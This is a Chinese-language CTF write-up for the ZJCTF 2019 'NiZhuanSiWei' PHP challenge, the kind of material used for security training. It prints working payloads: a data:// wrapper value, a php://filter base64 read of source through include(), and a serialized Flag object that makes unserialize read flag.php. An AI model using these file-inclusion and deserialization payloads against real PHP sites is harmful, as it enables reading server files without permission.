[ZJCTF 2019]NiZhuanSiWei

关键点:

(1)file_get_contents($text,'r')

(2)include($file)

(3)$password = unserialize($password);
   echo $password;

1.变量如何变成文件输出

text=data://text/plaint,welcome to the zjctf

2. include($file)文件包含

file=php://filter/convert.base64-encode/resource=useless.php

3.反序列化

 源码

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造

<?php
class Flag{  
     public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

这样构造后,$a变量就有了$file='flag.php',同时又有源码里的东西。 

然后把序列化后的赋给$password(=$a),反序列化就相当于new Flag(),这时echo,就会触发__toString()。

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-05-12 03:46:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-05-12 03:46:03       100 阅读
  3. 在Django里面运行非项目文件

    2024-05-12 03:46:03       82 阅读
  4. Python语言-面向对象

    2024-05-12 03:46:03       91 阅读

热门阅读

  1. springboot整合rabbitmq

    2024-05-12 03:46:03       31 阅读
  2. qt 窗体嵌入到任务栏

    2024-05-12 03:46:03       34 阅读
  3. 人工智能是什么

    2024-05-12 03:46:03       34 阅读
  4. Vue 监控变化watch

    2024-05-12 03:46:03       28 阅读
  5. 事件组理论

    2024-05-12 03:46:03       36 阅读
  6. Python正则表达式入门指南

    2024-05-12 03:46:03       35 阅读
  7. RN使用js让输入框取消和获取焦点(及键盘的监听)

    2024-05-12 03:46:03       34 阅读
  8. Oracle完整截取汉字的方法

    2024-05-12 03:46:03       33 阅读
  9. python格式化显示复杂对象例如字典

    2024-05-12 03:46:03       25 阅读